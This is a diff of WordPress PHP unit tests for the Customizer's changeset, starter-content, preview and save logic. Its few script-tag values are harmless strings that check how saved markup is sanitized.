+		$this->assertEquals( $post_id, $wp_customize->changeset_post_id() );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::changeset_data().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::changeset_data()
+	 */
+	function test_changeset_data() {
+		wp_set_current_user( self::$admin_user_id );
+		$uuid = wp_generate_uuid4();
+		$wp_customize = new WP_Customize_Manager( array( 'changeset_uuid' => $uuid ) );
+		$this->assertEquals( array(), $wp_customize->changeset_data() );
+
+		$uuid = wp_generate_uuid4();
+		$data = array(
+			'blogname' => array( 'value' => 'Hello World' ),
+			'blogdescription' => array( 'value' => 'Greet the world' ),
+		);
+		$this->factory()->post->create( array(
+			'post_name' => $uuid,
+			'post_type' => 'customize_changeset',
+			'post_status' => 'draft',
+			'post_content' => wp_json_encode( $data ),
+		) );
+		$wp_customize = new WP_Customize_Manager( array( 'changeset_uuid' => $uuid ) );
+		$this->assertEquals( $data, $wp_customize->changeset_data() );
+
+		// Autosave.
+		$wp_customize->set_post_value( 'blogname', 'Hola Mundo' );
+		$wp_customize->register_controls(); // That is, settings, so blogname setting is registered.
+		$r = $wp_customize->save_changeset_post( array(
+			'autosave' => true,
+		) );
+		$this->assertNotInstanceOf( 'WP_Error', $r );
+
+		// No change to data if not requesting autosave.
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+			'autosaved' => false,
+		) );
+		$wp_customize->register_controls(); // That is, settings.
+		$this->assertFalse( $wp_customize->autosaved() );
+		$this->assertEquals( $data, $wp_customize->changeset_data() );
+
+		// No change to data if not requesting autosave.
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+			'autosaved' => true,
+		) );
+		$this->assertTrue( $wp_customize->autosaved() );
+		$this->assertNotEquals( $data, $wp_customize->changeset_data() );
+		$this->assertEquals(
+			array_merge(
+				wp_list_pluck( $data, 'value' ),
+				array( 'blogname' => 'Hola Mundo' )
+			),
+			wp_list_pluck( $wp_customize->changeset_data(), 'value' )
+		);
+
+		// If there is no user, don't fetch the most recent autosave. See #42450.
+		wp_set_current_user( 0 );
+		$wp_customize = new WP_Customize_Manager(
+			array(
+				'changeset_uuid' => $uuid,
+				'autosaved'      => true,
+			)
+		);
+		$this->assertEquals( $data, $wp_customize->changeset_data() );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::import_theme_starter_content().
+	 *
+	 * @covers WP_Customize_Manager::import_theme_starter_content()
+	 * @covers WP_Customize_Manager::_save_starter_content_changeset()
+	 */
+	function test_import_theme_starter_content() {
+		wp_set_current_user( self::$admin_user_id );
+		register_nav_menu( 'top', 'Top' );
+		add_theme_support( 'custom-logo' );
+		add_theme_support( 'custom-header' );
+		add_theme_support( 'custom-background' );
+
+		$existing_canola_attachment_id = self::factory()->attachment->create_object( $this->test_file, 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment',
+			'post_name' => 'canola',
+		) );
+		$existing_published_home_page_id = $this->factory()->post->create( array(
+			'post_name' => 'home',
+			'post_type' => 'page',
+			'post_status' => 'publish'
+		) );
+		$existing_auto_draft_about_page_id = $this->factory()->post->create( array(
+			'post_name' => 'about',
+			'post_type' => 'page',
+			'post_status' => 'auto-draft'
+		) );
+
+		global $wp_customize;
+		$wp_customize = new WP_Customize_Manager();
+		$starter_content_config = array(
+			'widgets' => array(
+				'sidebar-1' => array(
+					'text_business_info',
+					'meta_custom' => array( 'meta', array(
+						'title' => 'Pre-hydrated meta widget.',
+					) ),
+				),
+			),
+			'nav_menus' => array(
+				'top' => array(
+					'name'  => 'Menu Name',
+					'items' => array(
+						'link_home',
+						'page_about',
+						'page_blog',
+						'link_email',
+						'link_facebook',
+						'link_custom' => array(
+							'title' => 'Custom',
+							'url' => 'https://custom.example.com/',
+						),
+					),
+				),
+			),
+			'posts' => array(
+				'home',
+				'about' => array(
+					'template' => 'sample-page-template.php',
+				),
+				'blog',
+				'custom' => array(
+					'post_type' => 'post',
+					'post_title' => 'Custom',
+					'thumbnail' => '{{waffles}}',
+				),
+				'unknown_cpt' => array(
+					'post_type' => 'unknown_cpt',
+					'post_title' => 'Unknown CPT',
+				),
+			),
+			'attachments' => array(
+				'waffles' => array(
+					'post_title' => 'Waffles',
+					'post_content' => 'Waffles Attachment Description',
+					'post_excerpt' => 'Waffles Attachment Caption',
+					'file' => $this->test_file2,
+				),
+				'canola' => array(
+					'post_title' => 'Canola',
+					'post_content' => 'Canola Attachment Description',
+					'post_excerpt' => 'Canola Attachment Caption',
+					'file' => $this->test_file,
+				),
+			),
+			'options' => array(
+				'blogname' => 'Starter Content Title',
+				'blogdescription' => 'Starter Content Tagline',
+				'show_on_front'  => 'page',
+				'page_on_front'  => '{{home}}',
+				'page_for_posts' => '{{blog}}',
+			),
+			'theme_mods' => array(
+				'custom_logo' => '{{canola}}',
+				'header_image' => '{{waffles}}',
+				'background_image' => '{{waffles}}',
+			),
+		);
+
+		update_option( 'posts_per_page', 1 ); // To check #39022.
+		add_theme_support( 'starter-content', $starter_content_config );
+		$this->assertEmpty( $wp_customize->unsanitized_post_values() );
+		$wp_customize->import_theme_starter_content();
+		$changeset_values = $wp_customize->unsanitized_post_values();
+		$expected_setting_ids = array(
+			'blogname',
+			'blogdescription',
+			'custom_logo',
+			'header_image_data',
+			'background_image',
+			'widget_text[2]',
+			'widget_meta[3]',
+			'sidebars_widgets[sidebar-1]',
+			'nav_menus_created_posts',
+			'nav_menu[-1]',
+			'nav_menu_item[-1]',
+			'nav_menu_item[-2]',
+			'nav_menu_item[-3]',
+			'nav_menu_item[-4]',
+			'nav_menu_item[-5]',
+			'nav_menu_item[-6]',
+			'nav_menu_locations[top]',
+			'show_on_front',
+			'page_on_front',
+			'page_for_posts',
+		);
+		$this->assertEqualSets( $expected_setting_ids, array_keys( $changeset_values ) );
+
+		foreach ( array( 'widget_text[2]', 'widget_meta[3]' ) as $setting_id ) {
+			$this->assertInternalType( 'array', $changeset_values[ $setting_id ] );
+			$instance_data = $wp_customize->widgets->sanitize_widget_instance( $changeset_values[ $setting_id ] );
+			$this->assertInternalType( 'array', $instance_data );
+			$this->assertArrayHasKey( 'title', $instance_data );
+		}
+
+		$this->assertEquals( array( 'text-2', 'meta-3' ), $changeset_values['sidebars_widgets[sidebar-1]'] );
+
+		$posts_by_name = array();
+		$this->assertCount( 7, $changeset_values['nav_menus_created_posts'] );
+		$this->assertContains( $existing_published_home_page_id, $changeset_values['nav_menus_created_posts'], 'Expected reuse of non-auto-draft posts.' );
+		$this->assertContains( $existing_canola_attachment_id, $changeset_values['nav_menus_created_posts'], 'Expected reuse of non-auto-draft attachment.' );
+		$this->assertNotContains( $existing_auto_draft_about_page_id, $changeset_values['nav_menus_created_posts'], 'Expected non-reuse of auto-draft posts.' );
+		foreach ( $changeset_values['nav_menus_created_posts'] as $post_id ) {
+			$post = get_post( $post_id );
+			if ( $post->ID === $existing_published_home_page_id ) {
+				$this->assertEquals( 'publish', $post->post_status );
+			} elseif ( $post->ID === $existing_canola_attachment_id ) {
+				$this->assertEquals( 'inherit', $post->post_status );
+			} else {
+				$this->assertEquals( 'auto-draft', $post->post_status );
+				$this->assertEmpty( $post->post_name );
+			}
+			$post_name = $post->post_name;
+			if ( empty( $post_name ) ) {
+				$post_name = get_post_meta( $post->ID, '_customize_draft_post_name', true );
+			}
+			$posts_by_name[ $post_name ] = $post->ID;
+		}
+		$this->assertEquals( array( 'waffles', 'canola', 'home', 'about', 'blog', 'custom', 'unknown-cpt' ), array_keys( $posts_by_name ) );
+		$this->assertEquals( 'Custom', get_post( $posts_by_name['custom'] )->post_title );
+		$this->assertEquals( 'sample-page-template.php', get_page_template_slug( $posts_by_name['about'] ) );
+		$this->assertEquals( '', get_page_template_slug( $posts_by_name['blog'] ) );
+		$this->assertEquals( $posts_by_name['waffles'], get_post_thumbnail_id( $posts_by_name['custom'] ) );
+		$this->assertEquals( '', get_post_thumbnail_id( $posts_by_name['blog'] ) );
+		$attachment_metadata = wp_get_attachment_metadata( $posts_by_name['waffles'] );
+		$this->assertEquals( 'Waffles', get_post( $posts_by_name['waffles'] )->post_title );
+		$this->assertEquals( 'waffles', get_post_meta( $posts_by_name['waffles'], '_customize_draft_post_name', true ) );
+		$this->assertArrayHasKey( 'file', $attachment_metadata );
+		$this->assertContains( 'waffles', $attachment_metadata['file'] );
+
+		$this->assertEquals( 'page', $changeset_values['show_on_front'] );
+		$this->assertEquals( $posts_by_name['home'], $changeset_values['page_on_front'] );
+		$this->assertEquals( $posts_by_name['blog'], $changeset_values['page_for_posts'] );
+
+		$this->assertEquals( -1, $changeset_values['nav_menu_locations[top]'] );
+		$this->assertEquals( 0, $changeset_values['nav_menu_item[-1]']['object_id'] );
+		$this->assertEquals( 'custom', $changeset_values['nav_menu_item[-1]']['type'] );
+		$this->assertEquals( home_url( '/' ), $changeset_values['nav_menu_item[-1]']['url'] );
+
+		$this->assertEmpty( $wp_customize->changeset_data() );
+		$this->assertNull( $wp_customize->changeset_post_id() );
+		$this->assertEquals( 1000, has_action( 'customize_register', array( $wp_customize, '_save_starter_content_changeset' ) ) );
+		do_action( 'customize_register', $wp_customize ); // This will trigger the changeset save.
+		$this->assertInternalType( 'int', $wp_customize->changeset_post_id() );
+		$this->assertNotEmpty( $wp_customize->changeset_data() );
+		foreach ( $wp_customize->changeset_data() as $setting_id => $setting_params ) {
+			$this->assertArrayHasKey( 'starter_content', $setting_params );
+			$this->assertTrue( $setting_params['starter_content'] );
+		}
+
+		// Ensure that re-importing doesn't cause auto-drafts to balloon.
+		$wp_customize->import_theme_starter_content();
+		$changeset_data = $wp_customize->changeset_data();
+		$this->assertEqualSets( array_values( $posts_by_name ), $changeset_data['nav_menus_created_posts']['value'] ); // Auto-drafts should not get re-created and amended with each import.
+
+		// Test that saving non-starter content on top of the changeset clears the starter_content flag.
+		$wp_customize->save_changeset_post( array(
+			'data' => array(
+				'blogname' => array( 'value' => 'Starter Content Modified' ),
+			),
+		) );
+		$changeset_data = $wp_customize->changeset_data();
+		$this->assertArrayNotHasKey( 'starter_content', $changeset_data['blogname'] );
+		$this->assertArrayHasKey( 'starter_content', $changeset_data['blogdescription'] );
+
+		// Test that adding blogname starter content is ignored now that it is modified, but updating a non-modified starter content blog description passes.
+		$previous_blogname = $changeset_data['blogname']['value'];
+		$previous_blogdescription = $changeset_data['blogdescription']['value'];
+		$wp_customize->import_theme_starter_content( array(
+			'options' => array(
+				'blogname' => 'Newer Starter Content Title',
+				'blogdescription' => 'Newer Starter Content Description',
+			),
+		) );
+		$changeset_data = $wp_customize->changeset_data();
+		$this->assertEquals( $previous_blogname, $changeset_data['blogname']['value'] );
+		$this->assertArrayNotHasKey( 'starter_content', $changeset_data['blogname'] );
+		$this->assertNotEquals( $previous_blogdescription, $changeset_data['blogdescription']['value'] );
+		$this->assertArrayHasKey( 'starter_content', $changeset_data['blogdescription'] );
+
+		// Publish.
+		$this->assertEmpty( get_custom_logo() );
+		$this->assertEmpty( get_header_image() );
+		$this->assertEmpty( get_background_image() );
+		$this->assertEmpty( get_theme_mod( 'custom_logo' ) );
+		$this->assertEmpty( get_theme_mod( 'header_image' ) );
+		$this->assertEmpty( get_theme_mod( 'background_image' ) );
+		$this->assertEquals( 'auto-draft', get_post( $posts_by_name['about'] )->post_status );
+		$this->assertEquals( 'auto-draft', get_post( $posts_by_name['waffles'] )->post_status );
+		$this->assertNotEquals( $changeset_data['blogname']['value'], get_option( 'blogname' ) );
+		$r = $wp_customize->save_changeset_post( array( 'status' => 'publish' ) );
+		$this->assertInternalType( 'array', $r );
+		$this->assertEquals( 'publish', get_post( $posts_by_name['about'] )->post_status );
+		$this->assertEquals( 'inherit', get_post( $posts_by_name['waffles'] )->post_status );
+		$this->assertEquals( $changeset_data['blogname']['value'], get_option( 'blogname' ) );
+		$this->assertNotEmpty( get_theme_mod( 'custom_logo' ) );
+		$this->assertNotEmpty( get_theme_mod( 'header_image' ) );
+		$this->assertNotEmpty( get_theme_mod( 'background_image' ) );
+		$this->assertNotEmpty( get_custom_logo() );
+		$this->assertNotEmpty( get_header_image() );
+		$this->assertNotEmpty( get_background_image() );
+		$this->assertContains( 'canola', get_custom_logo() );
+		$this->assertContains( 'waffles', get_header_image() );
+		$this->assertContains( 'waffles', get_background_image() );
+		$this->assertEquals( 'waffles', get_post( $posts_by_name['waffles'] )->post_name );
+		$this->assertEmpty( get_post_meta( $posts_by_name['waffles'], '_customize_draft_post_name', true ) );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::customize_preview_init().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::customize_preview_init()
+	 */
+	function test_customize_preview_init() {
+
+		// Test authorized admin user.
+		wp_set_current_user( self::$admin_user_id );
+		$did_action_customize_preview_init = did_action( 'customize_preview_init' );
+		$wp_customize = new WP_Customize_Manager();
+		$wp_customize->customize_preview_init();
+		$this->assertEquals( $did_action_customize_preview_init + 1, did_action( 'customize_preview_init' ) );
+
+		$this->assertEquals( 10, has_action( 'wp_head', 'wp_no_robots' ) );
+		$this->assertEquals( 10, has_action( 'wp_head', array( $wp_customize, 'remove_frameless_preview_messenger_channel' ) ) );
+		$this->assertEquals( 10, has_filter( 'wp_headers', array( $wp_customize, 'filter_iframe_security_headers' ) ) );
+		$this->assertEquals( 10, has_filter( 'wp_redirect', array( $wp_customize, 'add_state_query_params' ) ) );
+		$this->assertTrue( wp_script_is( 'customize-preview', 'enqueued' ) );
+		$this->assertEquals( 10, has_action( 'wp_head', array( $wp_customize, 'customize_preview_loading_style' ) ) );
+		$this->assertEquals( 20, has_action( 'wp_footer', array( $wp_customize, 'customize_preview_settings' ) ) );
+
+		// Test unauthorized user outside preview (no messenger_channel).
+		wp_set_current_user( self::$subscriber_user_id );
+		$wp_customize = new WP_Customize_Manager();
+		$wp_customize->register_controls();
+		$this->assertNotEmpty( $wp_customize->controls() );
+		$wp_customize->customize_preview_init();
+		$this->assertEmpty( $wp_customize->controls() );
+
+		// Test unauthorized user inside preview (with messenger_channel).
+		wp_set_current_user( self::$subscriber_user_id );
+		$wp_customize = new WP_Customize_Manager( array( 'messenger_channel' => 'preview-0' ) );
+		$exception = null;
+		try {
+			$wp_customize->customize_preview_init();
+		} catch ( WPDieException $e ) {
+			$exception = $e;
+		}
+		$this->assertNotNull( $exception );
+		$this->assertContains( 'Unauthorized', $exception->getMessage() );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::filter_iframe_security_headers().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::filter_iframe_security_headers()
+	 */
+	function test_filter_iframe_security_headers() {
+		$customize_url = admin_url( 'customize.php' );
+		$wp_customize = new WP_Customize_Manager();
+		$headers = $wp_customize->filter_iframe_security_headers( array() );
+		$this->assertArrayHasKey( 'X-Frame-Options', $headers );
+		$this->assertArrayHasKey( 'Content-Security-Policy', $headers );
+		$this->assertEquals( "ALLOW-FROM $customize_url", $headers['X-Frame-Options'] );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::add_state_query_params().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::add_state_query_params()
+	 */
+	function test_add_state_query_params() {
+		$preview_theme = $this->get_inactive_core_theme();
+
+		$uuid = wp_generate_uuid4();
+		$messenger_channel = 'preview-0';
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+			'messenger_channel' => $messenger_channel,
+		) );
+		$url = $wp_customize->add_state_query_params( home_url( '/' ) );
+		$parsed_url = wp_parse_url( $url );
+		parse_str( $parsed_url['query'], $query_params );
+		$this->assertArrayHasKey( 'customize_messenger_channel', $query_params );
+		$this->assertArrayHasKey( 'customize_changeset_uuid', $query_params );
+		$this->assertArrayNotHasKey( 'customize_theme', $query_params );
+		$this->assertEquals( $uuid, $query_params['customize_changeset_uuid'] );
+		$this->assertEquals( $messenger_channel, $query_params['customize_messenger_channel'] );
+
+		$uuid = wp_generate_uuid4();
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+			'messenger_channel' => null,
+			'theme' => $preview_theme,
+		) );
+		$url = $wp_customize->add_state_query_params( home_url( '/' ) );
+		$parsed_url = wp_parse_url( $url );
+		parse_str( $parsed_url['query'], $query_params );
+		$this->assertArrayNotHasKey( 'customize_messenger_channel', $query_params );
+		$this->assertArrayHasKey( 'customize_changeset_uuid', $query_params );
+		$this->assertArrayHasKey( 'customize_theme', $query_params );
+		$this->assertEquals( $uuid, $query_params['customize_changeset_uuid'] );
+		$this->assertEquals( $preview_theme, $query_params['customize_theme'] );
+
+		$uuid = wp_generate_uuid4();
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+			'messenger_channel' => null,
+			'theme' => $preview_theme,
+		) );
+		$url = $wp_customize->add_state_query_params( 'http://not-allowed.example.com/?q=1' );
+		$parsed_url = wp_parse_url( $url );
+		parse_str( $parsed_url['query'], $query_params );
+		$this->assertArrayNotHasKey( 'customize_messenger_channel', $query_params );
+		$this->assertArrayNotHasKey( 'customize_changeset_uuid', $query_params );
+		$this->assertArrayNotHasKey( 'customize_theme', $query_params );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::save_changeset_post().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::save_changeset_post()
+	 */
+	function test_save_changeset_post_without_theme_activation() {
+		global $wp_customize;
+		wp_set_current_user( self::$admin_user_id );
+
+		$did_action = array(
+			'customize_save_validation_before' => did_action( 'customize_save_validation_before' ),
+			'customize_save' => did_action( 'customize_save' ),
+			'customize_save_after' => did_action( 'customize_save_after' ),
+		);
+		$uuid = wp_generate_uuid4();
+
+		$wp_customize = $manager = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+		) );
+		$wp_customize = $manager;
+		$manager->register_controls();
+		$manager->set_post_value( 'blogname', 'Changeset Title' );
+		$manager->set_post_value( 'blogdescription', 'Changeset Tagline' );
+
+		$pre_saved_data = array(
+			'blogname' => array(
+				'value' => 'Overridden Changeset Title',
+			),
+			'blogdescription' => array(
+				'custom' => 'something',
+			),
+		);
+		$date = ( gmdate( 'Y' ) + 1 ) . '-12-01 00:00:00';
+		$r = $manager->save_changeset_post( array(
+			'status' => 'auto-draft',
+			'title' => 'Auto Draft',
+			'date_gmt' => $date,
+			'data' => $pre_saved_data,
+		) );
+		$this->assertInternalType( 'array', $r );
+
+		$this->assertEquals( $did_action['customize_save_validation_before'] + 1, did_action( 'customize_save_validation_before' ) );
+
+		$post_id = $manager->find_changeset_post_id( $uuid );
+		$this->assertNotNull( $post_id );
+		$saved_data = json_decode( get_post( $post_id )->post_content, true );
+		$this->assertEquals( $manager->unsanitized_post_values(), wp_list_pluck( $saved_data, 'value' ) );
+		$this->assertEquals( $pre_saved_data['blogname']['value'], $saved_data['blogname']['value'] );
+		$this->assertEquals( $pre_saved_data['blogdescription']['custom'], $saved_data['blogdescription']['custom'] );
+		foreach ( $saved_data as $setting_id => $setting_params ) {
+			$this->assertArrayHasKey( 'type', $setting_params );
+			$this->assertEquals( 'option', $setting_params['type'] );
+			$this->assertArrayHasKey( 'user_id', $setting_params );
+			$this->assertEquals( self::$admin_user_id, $setting_params['user_id'] );
+		}
+		$this->assertEquals( 'Auto Draft', get_post( $post_id )->post_title );
+		$this->assertEquals( 'auto-draft', get_post( $post_id )->post_status );
+		$this->assertEquals( $date, get_post( $post_id )->post_date_gmt );
+		$this->assertNotEquals( 'Changeset Title', get_option( 'blogname' ) );
+		$this->assertArrayHasKey( 'setting_validities', $r );
+
+		// Test saving with invalid settings, ensuring transaction blocked.
+		$previous_saved_data = $saved_data;
+		$manager->add_setting( 'foo_unauthorized', array(
+			'capability' => 'do_not_allow',
+		) );
+		$manager->add_setting( 'baz_illegal', array(
+			'validate_callback' => array( $this, 'return_illegal_error' ),
+		) );
+		$r = $manager->save_changeset_post( array(
+			'status' => 'auto-draft',
+			'data' => array(
+				'blogname' => array(
+					'value' => 'OK',
+				),
+				'foo_unauthorized' => array(
+					'value' => 'No',
+				),
+				'bar_unknown' => array(
+					'value' => 'No',
+				),
+				'baz_illegal' => array(
+					'value' => 'No',
+				),
+			),
+		) );
+		$this->assertInstanceOf( 'WP_Error', $r );
+		$this->assertEquals( 'transaction_fail', $r->get_error_code() );
+		$this->assertInternalType( 'array', $r->get_error_data() );
+		$this->assertArrayHasKey( 'setting_validities', $r->get_error_data() );
+		$error_data = $r->get_error_data();
+		$this->assertArrayHasKey( 'blogname', $error_data['setting_validities'] );
+		$this->assertTrue( $error_data['setting_validities']['blogname'] );
+		$this->assertArrayHasKey( 'foo_unauthorized', $error_data['setting_validities'] );
+		$this->assertInstanceOf( 'WP_Error', $error_data['setting_validities']['foo_unauthorized'] );
+		$this->assertEquals( 'unauthorized', $error_data['setting_validities']['foo_unauthorized']->get_error_code() );
+		$this->assertArrayHasKey( 'bar_unknown', $error_data['setting_validities'] );
+		$this->assertInstanceOf( 'WP_Error', $error_data['setting_validities']['bar_unknown'] );
+		$this->assertEquals( 'unrecognized', $error_data['setting_validities']['bar_unknown']->get_error_code() );
+		$this->assertArrayHasKey( 'baz_illegal', $error_data['setting_validities'] );
+		$this->assertInstanceOf( 'WP_Error', $error_data['setting_validities']['baz_illegal'] );
+		$this->assertEquals( 'illegal', $error_data['setting_validities']['baz_illegal']->get_error_code() );
+
+		// Since transactional, ensure no changes have been made.
+		$this->assertEquals( $previous_saved_data, json_decode( get_post( $post_id )->post_content, true ) );
+
+		// Attempt a non-transactional/incremental update.
+		$wp_customize = $manager = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+		) );
+		$wp_customize = $manager;
+		$manager->register_controls(); // That is, register settings.
+		$r = $manager->save_changeset_post( array(
+			'status' => null,
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Non-Transactional \o/ <script>unsanitized</script>',
+				),
+				'bar_unknown' => array(
+					'value' => 'No',
+				),
+			),
+		) );
+		$this->assertInternalType( 'array', $r );
+		$this->assertArrayHasKey( 'setting_validities', $r );
+		$this->assertTrue( $r['setting_validities']['blogname'] );
+		$this->assertInstanceOf( 'WP_Error', $r['setting_validities']['bar_unknown'] );
+		$saved_data = json_decode( get_post( $post_id )->post_content, true );
+		$this->assertNotEquals( $previous_saved_data, $saved_data );
+		$this->assertEquals( 'Non-Transactional \o/ <script>unsanitized</script>', $saved_data['blogname']['value'] );
+
+		// Ensure the filter applies.
+		$customize_changeset_save_data_call_count = $this->customize_changeset_save_data_call_count;
+		add_filter( 'customize_changeset_save_data', array( $this, 'filter_customize_changeset_save_data' ), 10, 2 );
+		$manager->save_changeset_post( array(
+			'status' => null,
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Filtered',
+				),
+			),
+		) );
+		$this->assertEquals( $customize_changeset_save_data_call_count + 1, $this->customize_changeset_save_data_call_count );
+
+		// Publish the changeset: actions will be doubled since also trashed.
+		$expected_actions = array(
+			'wp_trash_post' => 1,
+			'clean_post_cache' => 2,
+			'transition_post_status' => 2,
+			'publish_to_trash' => 1,
+			'trash_customize_changeset' => 1,
+			'edit_post' => 2,
+			'save_post_customize_changeset' => 2,
+			'save_post' => 2,
+			'wp_insert_post' => 2,
+			'trashed_post' => 1,
+		);
+		$action_counts = array();
+		foreach ( array_keys( $expected_actions ) as $action_name ) {
+			$action_counts[ $action_name ] = did_action( $action_name );
+		}
+
+		$wp_customize = $manager = new WP_Customize_Manager( array( 'changeset_uuid' => $uuid ) );
+		do_action( 'customize_register', $wp_customize );
+		$manager->add_setting( 'scratchpad', array(
+			'type' => 'option',
+			'capability' => 'exist',
+		) );
+		$manager->get_setting( 'blogname' )->capability = 'exist';
+		$original_capabilities = wp_list_pluck( $manager->settings(), 'capability' );
+		wp_set_current_user( self::$subscriber_user_id );
+		$r = $manager->save_changeset_post( array(
+			'status' => 'publish',
+			'data' => array(
+				'blogname' => array(
+					'value' => 'Do it live \o/',
+				),
+				'scratchpad' => array(
+					'value' => '<script>console.info( "HELLO" )</script>',
+				),
+			),
+		) );
+		$this->assertInternalType( 'array', $r );
+		$this->assertEquals( 'Do it live \o/', get_option( 'blogname' ) );
+		$this->assertEquals( 'trash', get_post_status( $post_id ) ); // Auto-trashed.
+		$this->assertEquals( $original_capabilities, wp_list_pluck( $manager->settings(), 'capability' ) );
+		$this->assertContains( '<script>', get_post( $post_id )->post_content );
+		$this->assertEquals( $manager->changeset_uuid(), get_post( $post_id )->post_name, 'Expected that the "__trashed" suffix to not be added.' );
+		wp_set_current_user( self::$admin_user_id );
+		$this->assertEquals( 'publish', get_post_meta( $post_id, '_wp_trash_meta_status', true ) );
+		$this->assertTrue( is_numeric( get_post_meta( $post_id, '_wp_trash_meta_time', true ) ) );
+
+		foreach ( array_keys( $expected_actions ) as $action_name ) {
+			$this->assertEquals( $expected_actions[ $action_name ] + $action_counts[ $action_name ], did_action( $action_name ), "Action: $action_name" );
+		}
+
+		// Test revisions.
+		add_post_type_support( 'customize_changeset', 'revisions' );
+		$uuid = wp_generate_uuid4();
+		$wp_customize = $manager = new WP_Customize_Manager( array( 'changeset_uuid' => $uuid ) );
+		do_action( 'customize_register', $manager );
+
+		$manager->set_post_value( 'blogname', 'Hello Surface' );
+		$manager->save_changeset_post( array( 'status' => 'auto-draft' ) );
+
+		$manager->set_post_value( 'blogname', 'Hello World' );
+		$manager->save_changeset_post( array( 'status' => 'draft' ) );
+		$this->assertTrue( wp_revisions_enabled( get_post( $manager->changeset_post_id() ) ) );
+
+		$manager->set_post_value( 'blogname', 'Hello Solar System' );
+		$manager->save_changeset_post( array( 'status' => 'draft' ) );
+
+		$manager->set_post_value( 'blogname', 'Hello Galaxy' );
+		$manager->save_changeset_post( array( 'status' => 'draft' ) );
+		$this->assertCount( 3, wp_get_post_revisions( $manager->changeset_post_id() ) );
+	}
+
+	/**
+	 * Test saving changeset post without Kses or other content_save_pre filters mutating content.
+	 *
+	 * @covers WP_Customize_Manager::save_changeset_post()
+	 */
+	public function test_save_changeset_post_without_kses_corrupting_json() {
+		global $wp_customize;
+		$lesser_admin_user_id = self::factory()->user->create( array( 'role' => 'administrator' ) );
+
+		$uuid         = wp_generate_uuid4();
+		$wp_customize = new WP_Customize_Manager(
+			array(
+				'changeset_uuid' => $uuid,
+			)
+		);
+
+		add_filter( 'map_meta_cap', array( $this, 'filter_map_meta_cap_to_disallow_unfiltered_html' ), 10, 2 );
+		kses_init();
+		add_filter( 'content_save_pre', 'capital_P_dangit' );
+		add_post_type_support( 'customize_changeset', 'revisions' );
+
+		$options = array(
+			'custom_html_1' => '<script>document.write(" Wordpress 1")</script>',
+			'custom_html_2' => '<script>document.write(" Wordpress 2")</script>',
+			'custom_html_3' => '<script>document.write(" Wordpress 3")</script>',
+		);
+
+		// Populate setting as user who can bypass content_save_pre filter.
+		wp_set_current_user( self::$admin_user_id );
+		$wp_customize = $this->get_manager_for_testing_json_corruption_protection( $uuid );
+		$wp_customize->set_post_value( 'custom_html_1', $options['custom_html_1'] );
+		$wp_customize->save_changeset_post(
+			array(
+				'status' => 'draft',
+			)
+		);
+
+		// Populate setting as user who cannot bypass content_save_pre filter.
+		wp_set_current_user( $lesser_admin_user_id );
+		$wp_customize = $this->get_manager_for_testing_json_corruption_protection( $uuid );
+		$wp_customize->set_post_value( 'custom_html_2', $options['custom_html_2'] );
+		$wp_customize->save_changeset_post(
+			array(
+				'autosave' => true,
+			)
+		);
+
+		/*
+		 * Ensure that the unsanitized value (the "POST data") is preserved in the autosave revision.
+		 * The value is sent through the sanitize function when it is read from the changeset.
+		 */
+		$autosave_revision = wp_get_post_autosave( $wp_customize->changeset_post_id(), get_current_user_id() );
+		$saved_data        = json_decode( $autosave_revision->post_content, true );
+		$this->assertEquals( $options['custom_html_1'], $saved_data['custom_html_1']['value'] );
+		$this->assertEquals( $options['custom_html_2'], $saved_data['custom_html_2']['value'] );
+
+		// Update post to discard autosave.
+		$wp_customize->save_changeset_post(
+			array(
+				'status' => 'draft',
+			)
+		);
+
+		/*
+		 * Ensure that the unsanitized value (the "POST data") is preserved in the post content.
+		 * The value is sent through the sanitize function when it is read from the changeset.
+		 */
+		$wp_customize = $this->get_manager_for_testing_json_corruption_protection( $uuid );
+		$saved_data   = json_decode( get_post( $wp_customize->changeset_post_id() )->post_content, true );
+		$this->assertEquals( $options['custom_html_1'], $saved_data['custom_html_1']['value'] );
+		$this->assertEquals( $options['custom_html_2'], $saved_data['custom_html_2']['value'] );
+
+		/*
+		 * Ensure that the unsanitized value (the "POST data") is preserved in the revisions' content.
+		 * The value is sent through the sanitize function when it is read from the changeset.
+		 */
+		$revisions  = wp_get_post_revisions( $wp_customize->changeset_post_id() );
+		$revision   = array_shift( $revisions );
+		$saved_data = json_decode( $revision->post_content, true );
+		$this->assertEquals( $options['custom_html_1'], $saved_data['custom_html_1']['value'] );
+		$this->assertEquals( $options['custom_html_2'], $saved_data['custom_html_2']['value'] );
+
+		/*
+		 * Now when publishing the changeset, the unsanitized values will be read from the changeset
+		 * and sanitized according to the capabilities of the users who originally updated each
+		 * setting in the changeset to begin with.
+		 */
+		wp_set_current_user( $lesser_admin_user_id );
+		$wp_customize = $this->get_manager_for_testing_json_corruption_protection( $uuid );
+		$wp_customize->set_post_value( 'custom_html_3', $options['custom_html_3'] );
+		$wp_customize->save_changeset_post(
+			array(
+				'status' => 'publish',
+			)
+		);
+
+		// User saved as one who can bypass content_save_pre filter.
+		$this->assertContains( '<script>', get_option( 'custom_html_1' ) );
+		$this->assertContains( 'Wordpress', get_option( 'custom_html_1' ) ); // phpcs:ignore WordPress.WP.CapitalPDangit.Misspelled
+
+		// User saved as one who cannot bypass content_save_pre filter.
